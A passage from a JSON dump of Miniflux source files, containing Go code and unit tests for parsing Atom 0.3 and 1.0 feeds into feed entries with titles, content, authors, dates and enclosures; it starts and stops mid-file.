\"Some text.\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseAtom03WithSummaryOnly(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed version=\"0.3\" xmlns=\"http://purl.org/atom/ns#\">\n\t\t<title>dive into mark</title>\n\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/\"/>\n\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t<author><name>Mark Pilgrim</name></author>\n\t\t<entry>\n\t\t\t<title>Atom 0.3 snapshot</title>\n\t\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/2003/12/13/atom03\"/>\n\t\t\t<id>tag:diveintomark.org,2003:3.2397</id>\n\t\t\t<issued>2003-12-13T08:29:29-04:00</issued>\n\t\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t\t<summary type=\"text/plain\">It&apos;s a test</summary>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"http://diveintomark.org/\", bytes.NewReader([]byte(data)), \"0.3\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Content != \"It&#39;s a test\" {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[0].Content)\n\t}\n}\n\nfunc TestParseAtom03WithXMLContent(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed version=\"0.3\" xmlns=\"http://purl.org/atom/ns#\">\n\t\t<title>dive into mark</title>\n\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/\"/>\n\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t<author><name>Mark Pilgrim</name></author>\n\t\t<entry>\n\t\t\t<title>Atom 0.3 snapshot</title>\n\t\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/2003/12/13/atom03\"/>\n\t\t\t<id>tag:diveintomark.org,2003:3.2397</id>\n\t\t\t<issued>2003-12-13T08:29:29-04:00</issued>\n\t\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t\t<content mode=\"xml\" type=\"text/html\"><p>Some text.</p></content>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"http://diveintomark.org/\", bytes.NewReader([]byte(data)), \"0.3\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Content != \"<p>Some text.</p>\" {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[0].Content)\n\t}\n}\n\nfunc TestParseAtom03WithBase64Content(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed version=\"0.3\" xmlns=\"http://purl.org/atom/ns#\">\n\t\t<title>dive into mark</title>\n\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/\"/>\n\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t<author><name>Mark Pilgrim</name></author>\n\t\t<entry>\n\t\t\t<title>Atom 0.3 snapshot</title>\n\t\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/2003/12/13/atom03\"/>\n\t\t\t<id>tag:diveintomark.org,2003:3.2397</id>\n\t\t\t<issued>2003-12-13T08:29:29-04:00</issued>\n\t\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t\t<content mode=\"base64\" type=\"text/html\">PHA+U29tZSB0ZXh0LjwvcD4=</content>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"http://diveintomark.org/\", bytes.NewReader([]byte(data)), \"0.3\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Content != \"<p>Some text.</p>\" {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[0].Content)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/atom/atom_10.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage atom // import \"miniflux.app/v2/internal/reader/atom\"\n\nimport (\n\t\"encoding/xml\"\n\t\"html\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/reader/media\"\n)\n\n// The \"atom:feed\" element is the document (i.e., top-level) element of\n// an Atom Feed Document, acting as a container for metadata and data\n// associated with the feed. Its element children consist of metadata\n// elements followed by zero or more atom:entry child elements.\n//\n// Specs:\n// https://tools.ietf.org/html/rfc4287\n// https://validator.w3.org/feed/docs/atom.html\ntype atom10Feed struct {\n\tXMLName xml.Name `xml:\"http://www.w3.org/2005/Atom feed\"`\n\n\t// The \"atom:id\" element conveys a permanent, universally unique\n\t// identifier for an entry or feed.\n\t//\n\t// Its content MUST be an IRI, as defined by [RFC3987].  Note that the\n\t// definition of \"IRI\" excludes relative references.  Though the IRI\n\t// might use a dereferencable scheme, Atom Processors MUST NOT assume it\n\t// can be dereferenced.\n\t//\n\t// atom:feed elements MUST contain exactly one atom:id element.\n\tID string `xml:\"http://www.w3.org/2005/Atom id\"`\n\n\t// The \"atom:title\" element is a Text construct that conveys a human-\n\t// readable title for an entry or feed.\n\t//\n\t// atom:feed elements MUST contain exactly one atom:title element.\n\tTitle atom10Text `xml:\"http://www.w3.org/2005/Atom title\"`\n\n\t// The \"atom:subtitle\" element is a Text construct that\n\t// contains a human-readable description or subtitle for the feed.\n\tSubtitle atom10Text `xml:\"http://www.w3.org/2005/Atom subtitle\"`\n\n\t// The \"atom:author\" element is a Person construct that indicates the\n\t// author of the entry or feed.\n\t//\n\t// atom:feed elements MUST contain one or more atom:author elements,\n\t// unless all of the atom:feed element's child atom:entry elements\n\t// contain at least one atom:author element.\n\tAuthors atomPersons `xml:\"http://www.w3.org/2005/Atom author\"`\n\n\t// The \"atom:icon\" element's content is an IRI reference [RFC3987] that\n\t// identifies an image that provides iconic visual identification for a\n\t// feed.\n\t//\n\t// atom:feed elements MUST NOT contain more than one atom:icon element.\n\tIcon string `xml:\"http://www.w3.org/2005/Atom icon\"`\n\n\t// The \"atom:logo\" element's content is an IRI reference [RFC3987] that\n\t// identifies an image that provides visual identification for a feed.\n\t//\n\t// atom:feed elements MUST NOT contain more than one atom:logo element.\n\tLogo string `xml:\"http://www.w3.org/2005/Atom logo\"`\n\n\t// atom:feed elements SHOULD contain one atom:link element with a rel\n\t// attribute value of \"self\". This is the preferred URI for\n\t// retrieving Atom Feed Documents representing this Atom feed.\n\t//\n\t// atom:feed elements MUST NOT contain more than one atom:link\n\t// element with a rel attribute value of \"alternate\" that has the\n\t// same combination of type and hreflang attribute values.\n\tLinks atomLinks `xml:\"http://www.w3.org/2005/Atom link\"`\n\n\t// The \"atom:category\" element conveys information about a category\n\t// associated with an entry or feed.  This specification assigns no\n\t// meaning to the content (if any) of this element.\n\t//\n\t// atom:feed elements MAY contain any number of atom:category\n\t// elements.\n\tCategories atomCategories `xml:\"http://www.w3.org/2005/Atom category\"`\n\n\tEntries []atom10Entry `xml:\"http://www.w3.org/2005/Atom entry\"`\n}\n\ntype atom10Entry struct {\n\t// The \"atom:id\" element conveys a permanent, universally unique\n\t// identifier for an entry or feed.\n\t//\n\t// Its content MUST be an IRI, as defined by [RFC3987].  Note that the\n\t// definition of \"IRI\" excludes relative references.  Though the IRI\n\t// might use a dereferencable scheme, Atom Processors MUST NOT assume it\n\t// can be dereferenced.\n\t//\n\t// atom:entry elements MUST contain exactly one atom:id element.\n\tID string `xml:\"http://www.w3.org/2005/Atom id\"`\n\n\t// The \"atom:title\" element is a Text construct that conveys a human-\n\t// readable title for an entry or feed.\n\t//\n\t// atom:entry elements MUST contain exactly one atom:title element.\n\tTitle atom10Text `xml:\"http://www.w3.org/2005/Atom title\"`\n\n\t// The \"atom:published\" element is a Date construct indicating an\n\t// instant in time associated with an event early in the life cycle of\n\t// the entry.\n\tPublished string `xml:\"http://www.w3.org/2005/Atom published\"`\n\n\t// The \"atom:updated\" element is a Date construct indicating the most\n\t// recent instant in time when an entry or feed was modified in a way\n\t// the publisher considers significant. Therefore, not all\n\t// modifications necessarily result in a changed atom:updated value.\n\t//\n\t// atom:entry elements MUST contain exactly one atom:updated element.\n\tUpdated string `xml:\"http://www.w3.org/2005/Atom updated\"`\n\n\t// atom:entry elements MUST NOT contain more than one atom:link\n\t// element with a rel attribute value of \"alternate\" that has the\n\t// same combination of type and hreflang attribute values.\n\tLinks atomLinks `xml:\"http://www.w3.org/2005/Atom link\"`\n\n\t// atom:entry elements MUST contain an atom:summary element in either\n\t// of the following cases:\n\t// *  the atom:entry contains an atom:content that has a \"src\"\n\t//    attribute (and is thus empty).\n\t// *  the atom:entry contains content that is encoded in Base64;\n\t//    i.e., the \"type\" attribute of atom:content is a MIME media type\n\t//    [MIMEREG], but is not an XML media type [RFC3023], does not\n\t//    begin with \"text/\", and does not end with \"/xml\" or \"+xml\".\n\t//\n\t// atom:entry elements MUST NOT contain more than one atom:summary\n\t// element.\n\tSummary atom10Text `xml:\"http://www.w3.org/2005/Atom summary\"`\n\n\t// atom:entry elements MUST NOT contain more than one atom:content\n\t// element.\n\tContent atom10Text `xml:\"http://www.w3.org/2005/Atom content\"`\n\n\t// The \"atom:author\" element is a Person construct that indicates the\n\t// author of the entry or feed.\n\t//\n\t// atom:entry elements MUST contain one or more atom:author elements\n\tAuthors atomPersons `xml:\"http://www.w3.org/2005/Atom author\"`\n\n\t// The \"atom:category\" element conveys information about a category\n\t// associated with an entry or feed.  This specification assigns no\n\t// meaning to the content (if any) of this element.\n\t//\n\t// atom:entry elements MAY contain any number of atom:category\n\t// elements.\n\tCategories atomCategories `xml:\"http://www.w3.org/2005/Atom category\"`\n\n\tmedia.MediaItemElement\n}\n\n// A Text construct contains human-readable text, usually in small\n// quantities. The content of Text constructs is Language-Sensitive.\n// Specs: https://datatracker.ietf.org/doc/html/rfc4287#section-3.1\n// Text: https://datatracker.ietf.org/doc/html/rfc4287#section-3.1.1.1\n// HTML: https://datatracker.ietf.org/doc/html/rfc4287#section-3.1.1.2\n// XHTML: https://datatracker.ietf.org/doc/html/rfc4287#section-3.1.1.3\ntype atom10Text struct {\n\tType             string               `xml:\"type,attr\"`\n\tCharData         string               `xml:\",chardata\"`\n\tInnerXML         string               `xml:\",innerxml\"`\n\tXHTMLRootElement atomXHTMLRootElement `xml:\"http://www.w3.org/1999/xhtml div\"`\n}\n\nfunc (a *atom10Text) body() string {\n\tvar content string\n\n\tif strings.EqualFold(a.Type, \"xhtml\") {\n\t\tcontent = a.xhtmlContent()\n\t} else {\n\t\tcontent = a.CharData\n\t}\n\n\treturn strings.TrimSpace(content)\n}\n\nfunc (a *atom10Text) title() string {\n\tvar content string\n\n\tswitch {\n\tcase strings.EqualFold(a.Type, \"xhtml\"):\n\t\tcontent = a.xhtmlContent()\n\tcase strings.Contains(a.InnerXML, \"<![CDATA[\"):\n\t\tcontent = html.UnescapeString(a.CharData)\n\tdefault:\n\t\tcontent = a.CharData\n\t}\n\n\treturn strings.TrimSpace(content)\n}\n\nfunc (a *atom10Text) xhtmlContent() string {\n\tif a.XHTMLRootElement.XMLName.Local == \"div\" {\n\t\treturn a.XHTMLRootElement.InnerXML\n\t}\n\treturn a.InnerXML\n}\n\ntype atomXHTMLRootElement struct {\n\tXMLName  xml.Name `xml:\"div\"`\n\tInnerXML string   `xml:\",innerxml\"`\n}\n"
  },
  {
    "path": "internal/reader/atom/atom_10_adapter.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage atom // import \"miniflux.app/v2/internal/reader/atom\"\n\nimport (\n\t\"log/slog\"\n\t\"slices\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/reader/date\"\n\t\"miniflux.app/v2/internal/reader/sanitizer\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\ntype atom10Adapter struct {\n\tatomFeed *atom10Feed\n}\n\nfunc NewAtom10Adapter(atomFeed *atom10Feed) *atom10Adapter {\n\treturn &atom10Adapter{atomFeed}\n}\n\nfunc (a *atom10Adapter) BuildFeed(baseURL string) *model.Feed {\n\tfeed := new(model.Feed)\n\n\t// Populate the feed URL.\n\tfeedURL := a.atomFeed.Links.firstLinkWithRelation(\"self\")\n\tif feedURL != \"\" {\n\t\tif absoluteFeedURL, err := urllib.ResolveToAbsoluteURL(baseURL, feedURL); err == nil {\n\t\t\tfeed.FeedURL = absoluteFeedURL\n\t\t}\n\t} else {\n\t\tfeed.FeedURL = baseURL\n\t}\n\n\t// Populate the site URL.\n\tsiteURL := a.atomFeed.Links.originalLink()\n\tif siteURL != \"\" {\n\t\tif absoluteSiteURL, err := urllib.ResolveToAbsoluteURL(baseURL, siteURL); err == nil {\n\t\t\tfeed.SiteURL = absoluteSiteURL\n\t\t}\n\t} else {\n\t\tfeed.SiteURL = baseURL\n\t}\n\n\t// Populate the feed title.\n\tfeed.Title = a.atomFeed.Title.body()\n\tif feed.Title == \"\" {\n\t\tfeed.Title = feed.SiteURL\n\t}\n\n\t// Populate the feed description.\n\tfeed.Description = a.atomFeed.Subtitle.body()\n\n\t// Populate the feed icon.\n\tif a.atomFeed.Icon != \"\" {\n\t\tif absoluteIconURL, err := urllib.ResolveToAbsoluteURL(feed.SiteURL, a.atomFeed.Icon); err == nil {\n\t\t\tfeed.IconURL = absoluteIconURL\n\t\t}\n\t} else if a.atomFeed.Logo != \"\" {\n\t\tif absoluteLogoURL, err := urllib.ResolveToAbsoluteURL(feed.SiteURL, a.atomFeed.Logo); err == nil {\n\t\t\tfeed.IconURL = absoluteLogoURL\n\t\t}\n\t}\n\tfeed.Entries = a.populateEntries(feed.SiteURL)\n\treturn feed\n}\n\nfunc (a *atom10Adapter) populateEntries(siteURL string) model.Entries {\n\tentries := make(model.Entries, 0, len(a.atomFeed.Entries))\n\n\tfor _, atomEntry := range a.atomFeed.Entries {\n\t\tentry := model.NewEntry()\n\n\t\t// Populate the entry URL.\n\t\tentry.URL = atomEntry.Links.originalLink()\n\t\tif entry.URL != \"\" {\n\t\t\tif absoluteEntryURL, err := urllib.ResolveToAbsoluteURL(siteURL, entry.URL); err == nil {\n\t\t\t\tentry.URL = absoluteEntryURL\n\t\t\t}\n\t\t}\n\n\t\t// Populate the entry content.\n\t\tentry.Content = atomEntry.Content.body()\n\t\tif entry.Content == \"\" {\n\t\t\tentry.Content = atomEntry.Summary.body()\n\t\t\tif entry.Content == \"\" {\n\t\t\t\tentry.Content = atomEntry.FirstMediaDescription()\n\t\t\t}\n\t\t}\n\n\t\t// Populate the entry title.\n\t\tentry.Title = atomEntry.Title.title()\n\t\tif entry.Title == \"\" {\n\t\t\tentry.Title = sanitizer.TruncateHTML(entry.Content, 100)\n\t\t\tif entry.Title == \"\" {\n\t\t\t\tentry.Title = entry.URL\n\t\t\t}\n\t\t}\n\n\t\t// Populate the entry author.\n\t\tauthors := atomEntry.Authors.personNames()\n\t\tif len(authors) == 0 {\n\t\t\tauthors = a.atomFeed.Authors.personNames()\n\t\t}\n\t\tsort.Strings(authors)\n\t\tauthors = slices.Compact(authors)\n\t\tentry.Author = strings.Join(authors, \", \")\n\n\t\t// Populate the entry date.\n\t\tfor _, value := range []string{atomEntry.Published, atomEntry.Updated} {\n\t\t\tif value != \"\" {\n\t\t\t\tif parsedDate, err := date.Parse(value); err != nil {\n\t\t\t\t\tslog.Debug(\"Unable to parse date from Atom 1.0 feed\",\n\t\t\t\t\t\tslog.String(\"date\", value),\n\t\t\t\t\t\tslog.String(\"url\", entry.URL),\n\t\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t\t)\n\t\t\t\t} else {\n\t\t\t\t\tentry.Date = parsedDate\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif entry.Date.IsZero() {\n\t\t\tentry.Date = time.Now()\n\t\t}\n\n\t\t// Populate categories.\n\t\tcategories := atomEntry.Categories.CategoryNames()\n\t\tif len(categories) == 0 {\n\t\t\tcategories = a.atomFeed.Categories.CategoryNames()\n\t\t}\n\n\t\t// Sort and deduplicate categories.\n\t\tsort.Strings(categories)\n\t\tentry.Tags = slices.Compact(categories)\n\n\t\t// Populate the commentsURL if defined.\n\t\t// See https://tools.ietf.org/html/rfc4685#section-4\n\t\t// If the type attribute of the atom:link is omitted, its value is assumed to be \"application/atom+xml\".\n\t\t// We accept only HTML or XHTML documents for now since the intention is to have the same behavior as RSS.\n\t\tcommentsURL := atomEntry.Links.firstLinkWithRelationAndType(\"replies\", \"text/html\", \"application/xhtml+xml\")\n\t\tif urllib.IsAbsoluteURL(commentsURL) {\n\t\t\tentry.CommentsURL = commentsURL\n\t\t}\n\n\t\t// Generate the entry hash.\n\t\tfor _, value := range []string{atomEntry.ID, atomEntry.Links.originalLink()} {\n\t\t\tif value != \"\" {\n\t\t\t\tentry.Hash = crypto.SHA256(value)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// Populate the entry enclosures.\n\t\tuniqueEnclosuresMap := make(map[string]bool)\n\n\t\tfor _, mediaThumbnail := range atomEntry.AllMediaThumbnails() {\n\t\t\tmediaURL := strings.TrimSpace(mediaThumbnail.URL)\n\t\t\tif mediaURL == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif _, found := uniqueEnclosuresMap[mediaURL]; !found {\n\t\t\t\tif mediaAbsoluteURL, err := urllib.ResolveToAbsoluteURL(siteURL, mediaURL); err != nil {\n\t\t\t\t\tslog.Debug(\"Unable to build absolute URL for media thumbnail\",\n\t\t\t\t\t\tslog.String(\"url\", mediaThumbnail.URL),\n\t\t\t\t\t\tslog.String(\"site_url\", siteURL),\n\t\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t\t)\n\t\t\t\t} else {\n\t\t\t\t\tuniqueEnclosuresMap[mediaAbsoluteURL] = true\n\t\t\t\t\tentry.Enclosures = append(entry.Enclosures, &model.Enclosure{\n\t\t\t\t\t\tURL:      mediaAbsoluteURL,\n\t\t\t\t\t\tMimeType: mediaThumbnail.MimeType(),\n\t\t\t\t\t\tSize:     mediaThumbnail.Size(),\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfor _, link := range atomEntry.Links.findAllLinksWithRelation(\"enclosure\") {\n\t\t\tabsoluteEnclosureURL, err := urllib.ResolveToAbsoluteURL(siteURL, link.Href)\n\t\t\tif err != nil {\n\t\t\t\tslog.Debug(\"Unable to resolve absolute URL for enclosure\",\n\t\t\t\t\tslog.String(\"enclosure_url\", link.Href),\n\t\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\tif _, found := uniqueEnclosuresMap[absoluteEnclosureURL]; !found {\n\t\t\t\t\tuniqueEnclosuresMap[absoluteEnclosureURL] = true\n\t\t\t\t\tlength, _ := strconv.ParseInt(link.Length, 10, 0)\n\t\t\t\t\tentry.Enclosures = append(entry.Enclosures, &model.Enclosure{\n\t\t\t\t\t\tURL:      absoluteEnclosureURL,\n\t\t\t\t\t\tMimeType: link.Type,\n\t\t\t\t\t\tSize:     length,\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfor _, mediaContent := range atomEntry.AllMediaContents() {\n\t\t\tmediaURL := strings.TrimSpace(mediaContent.URL)\n\t\t\tif mediaURL == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif mediaAbsoluteURL, err := urllib.ResolveToAbsoluteURL(siteURL, mediaURL); err != nil {\n\t\t\t\tslog.Debug(\"Unable to build absolute URL for media content\",\n\t\t\t\t\tslog.String(\"url\", mediaContent.URL),\n\t\t\t\t\tslog.String(\"site_url\", siteURL),\n\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\tif _, found := uniqueEnclosuresMap[mediaAbsoluteURL]; !found {\n\t\t\t\t\tuniqueEnclosuresMap[mediaAbsoluteURL] = true\n\t\t\t\t\tentry.Enclosures = append(entry.Enclosures, &model.Enclosure{\n\t\t\t\t\t\tURL:      mediaAbsoluteURL,\n\t\t\t\t\t\tMimeType: mediaContent.MimeType(),\n\t\t\t\t\t\tSize:     mediaContent.Size(),\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfor _, mediaPeerLink := range atomEntry.AllMediaPeerLinks() {\n\t\t\tmediaURL := strings.TrimSpace(mediaPeerLink.URL)\n\t\t\tif mediaURL == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif mediaAbsoluteURL, err := urllib.ResolveToAbsoluteURL(siteURL, mediaURL); err != nil {\n\t\t\t\tslog.Debug(\"Unable to build absolute URL for media peer link\",\n\t\t\t\t\tslog.String(\"url\", mediaPeerLink.URL),\n\t\t\t\t\tslog.String(\"site_url\", siteURL),\n\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\tif _, found := uniqueEnclosuresMap[mediaAbsoluteURL]; !found {\n\t\t\t\t\tuniqueEnclosuresMap[mediaAbsoluteURL] = true\n\t\t\t\t\tentry.Enclosures = append(entry.Enclosures, &model.Enclosure{\n\t\t\t\t\t\tURL:      mediaAbsoluteURL,\n\t\t\t\t\t\tMimeType: mediaPeerLink.MimeType(),\n\t\t\t\t\t\tSize:     mediaPeerLink.Size(),\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tentries = append(entries, entry)\n\t}\n\n\treturn entries\n}\n"
  },
  {
    "path": "internal/reader/atom/atom_10_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage atom // import \"miniflux.app/v2/internal/reader/atom\"\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestParseAtomSample(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  <updated>2003-12-13T18:30:02Z</updated>\n\t  <author>\n\t\t<name>John Doe</name>\n\t  </author>\n\t  <id>urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6</id>\n\t  <entry>\n\t\t<title>Atom-Powered Robots Run Amok</title>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"http://example.org/feed.xml\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"Example Feed\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n\n\tif feed.FeedURL != \"http://example.org/feed.xml\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"http://example.org/\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n\n\tif feed.IconURL != \"\" {\n\t\tt.Errorf(\"Incorrect icon URL, got: %s\", feed.IconURL)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif !feed.Entries[0].Date.Equal(time.Date(2003, time.December, 13, 18, 30, 2, 0, time.UTC)) {\n\t\tt.Errorf(\"Incorrect entry date, got: %v\", feed.Entries[0].Date)\n\t}\n\n\tif feed.Entries[0].Hash != \"3841e5cf232f5111fc5841e9eba5f4b26d95e7d7124902e0f7272729d65601a6\" {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n\n\tif feed.Entries[0].URL != \"http://example.org/2003/12/13/atom03\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[0].CommentsURL != \"\" {\n\t\tt.Errorf(\"Incorrect entry Comments URL, got: %s\", feed.Entries[0].CommentsURL)\n\t}\n\n\tif feed.Entries[0].Title != \"Atom-Powered Robots Run Amok\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n\n\tif feed.Entries[0].Content != \"Some text.\" {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[0].Content)\n\t}\n\n\tif feed.Entries[0].Author != \"John Doe\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseFeedWithSubtitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <subtitle>This is a subtitle</subtitle>\n\t  <link href=\"http://example.org/\"/>\n\t  <updated>2003-12-13T18:30:02Z</updated>\n\t  <author>\n\t\t<name>John Doe</name>\n\t  </author>\n\t  <id>urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6</id>\n\t</feed>`\n\n\tfeed, err := Parse(\"http://example.org/feed.xml\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Description != \"This is a subtitle\" {\n\t\tt.Errorf(\"Incorrect description, got: %s\", feed.Description)\n\t}\n}\n\nfunc TestParseFeedWithoutTitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t\t\t<link rel=\"alternate\" type=\"text/html\" href=\"https://example.org/\"/>\n\t\t\t<link rel=\"self\" type=\"application/atom+xml\" href=\"https://example.org/feed\"/>\n\t\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"https://example.org/\" {\n\t\tt.Errorf(\"Incorrect feed title, got: %s\", feed.Title)\n\t}\n}\n\nfunc TestParseEntryWithoutTitleButWithURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  <updated>2003-12-13T18:30:02Z</updated>\n\t  <author>\n\t\t<name>John Doe</name>\n\t  </author>\n\t  <id>urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6</id>\n\n\t  <entry>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"http://example.org/2003/12/13/atom03\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithoutTitleButWithSummary(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  <updated>2003-12-13T18:30:02Z</updated>\n\t  <author>\n\t\t<name>John Doe</name>\n\t  </author>\n\t  <id>urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6</id>\n\n\t  <entry>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"Some text.\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithoutTitleButWithXHTMLContent(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  <updated>2003-12-13T18:30:02Z</updated>\n\t  <author>\n\t\t<name>John Doe</name>\n\t  </author>\n\t  <id>urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6</id>\n\n\t  <entry>\n\t\t<link 